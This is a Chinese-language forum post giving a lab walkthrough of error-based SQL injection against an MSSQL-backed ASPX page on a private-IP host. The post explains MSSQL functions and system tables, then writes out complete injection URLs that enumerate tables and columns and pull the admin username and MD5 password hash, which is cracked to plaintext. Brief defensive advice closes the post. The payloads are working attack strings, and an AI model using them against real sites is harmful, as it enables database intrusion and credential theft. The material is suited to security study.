电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1514 人浏览分享

web渗透---报错注入漏洞

[复制链接]
1514 0
本帖最后由 zhaorong 于 2021-8-12 15:25 编辑

前言

MSSQL数据库 指微软的SQLServer数据库服务器,是一个数据库平台 是一个数据库管理系统
用于建立使用和维护数据库。报错注入就是利用数据库的某些机制,人为地制造错误条件使得
查询结果能够出现在错误信息中。

MSSQL内置函数
host_name():返回服务器端计算机名称
db_name():返回当前数据库的名称
current_user:返回当前数据库的用户名
subString():字符串截取函数
char():ascii转字符函数
object_id():根据表名返回数据库表名ID
object_name():根据ID返回数据库表名
col_name(object_id,column_id):返回指定表中指定字段(列)的名称

MSSQL内置系统表
Sysdatabases表:该表保存在master数据库中 这个表中保存的是所有的库名 以及库的ID 和一.些相关信息。
Sysobjects表: SQL-SERVIER的每个数据库内都有此系统表 它存放该数据库内创建的所有对象 如约束 Name  id
xtype, uid, status: 分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。当xtype='U' and
status>0代表是用户建立的表,对象名就是表名 对象ID就是表的ID值。
Syscolumns表:该表位于每个数据库中。主要字段有: name  id colid: 分别是字段名称
表ID号,字段1ID号 其中的ID是用sysobjects得到的表的ID号

MSSQL联合查询
1.判断数据回显位置:?id=1 union select database()
2.获取任一行的方式(从第m行开始,取n行数据):select top n username from users wh
ere username not in (select top m username from users);
3.多个列拼接到一个列查询的方式:select username+. + password trom users;

MSSQL报错注入复现
报错注入就是利用数据库的某些机制 人为地制造错误条件 使得查询结果能够出现在错误信息中。
(一)判断该页面的注入点的类型
在id=1后面加单引号或是双引号都显示错误 说明这是数字型SQL注入

174525abzjl4ami2j8bed8.png

174529bzge7pa66sc6569c.png

(二)获取数据库
用报错注入and 1=db_name()来显示数据库Shop 因为Shop不是int类型 所以提示错误信息

66.png

(三)获取表名
Xtype=0x55(指的是字符U的hex进制)
http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..sysobjects where
xtype=0x55 and name not in (select top 1 name from Shop..sysobjects where xtype=0x55))--显示Shop
数据库下的表单 输出第一行的表单名(Web_WholeSale)

62.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..sysobjects wh
ere xtype=0x55 and name not in (select top 2 name from Shop..sysobjects where xtype=0x55))--显示
Shop数据库下的表单 输出第二行的表单名(sysdiagrams)

61.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..sysobjects where
xtype=0x55 and name not in (select top 3 name from Shop..sysobjects where xtype=0x55))--显示Shop
数据库下的表单 输出第三行的表单名(Web_Activity)

60.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..sysobjects where
xtype=0x55 and name not in (select top 4 name from Shop..sysobjects where xtype=0x55))--显示Shop
数据库下的表单 输出第四行的表单名(Web_Notice)

59.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..sysobjects where
xtype=0x55 and name not in (select top 33 name from Shop..sysobjects where xtype=0x55))--显示Shop
数据库下的表单 输出第三十三行的表单名(Web_Admin)

58.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..syscolumns where
id=(select id from Shop.dbo.sysobjects where name= 0x5700650062005f00610064006d0069006e00)
and name not in (select top 0 name from Shop..syscolumns where id=(select id from Shop.dbo.sysobj
ects where name=0x5700650062005f00610064006d0069006e00)))--

(四)获取列名
查询Shop数据库下的列 符合Shop数据库下表名为web_admin的id时匹配相应的第一行列(ID)

29.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..syscolumns
where id=(select id from Shop.dbo.sysobjects where name= 0x5700650062005f00610064006d006
9006e00) and name not in (select top 1 name from Shop..syscolumns where id=(select id from Sh
op.dbo.sysobjects where name=0x5700650062005f00610064006d0069006e00)))--
查询Shop数据库下的列 符合Shop数据库下表名为web_admin的id时匹配相应的第二行列(name)

28.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 name from Shop..syscolumns
where id=(select id from Shop.dbo.sysobjects where name= 0x5700650062005f00610064006d006
9006e00) and name not in (select top 2 name from Shop..syscolumns where id=(select id from Sh
op.dbo.sysobjects where name=0x5700650062005f00610064006d0069006e00)))--
查询Shop数据库下的列 符合Shop数据库下表名为web_admin的id时匹配相应的第三行列(pass)

26.png

(五)获取字段
http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1name from Web_admin
where name not in(select top 0 name from Web_admin)) --
查询Web_admin下name列的第一行字段 查出用户名(admin)

22.png

http://192.168.159.110:82/commond.aspx?id=1 and 1=(select top 1 pass from Web_admin
where pass not in(select top 0 pass from Web_admin)) --
查询Web_admin下pass列的第一行字段 查出密码并用MD5解密(123456)

21.png

(六)MD5解密获取明文密码

20.png

总结

报错注入防护

数据库不把报错信息回显在网页中可以过滤请求中的可疑指令 select and where等
在网站设计的时候使用预编译。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.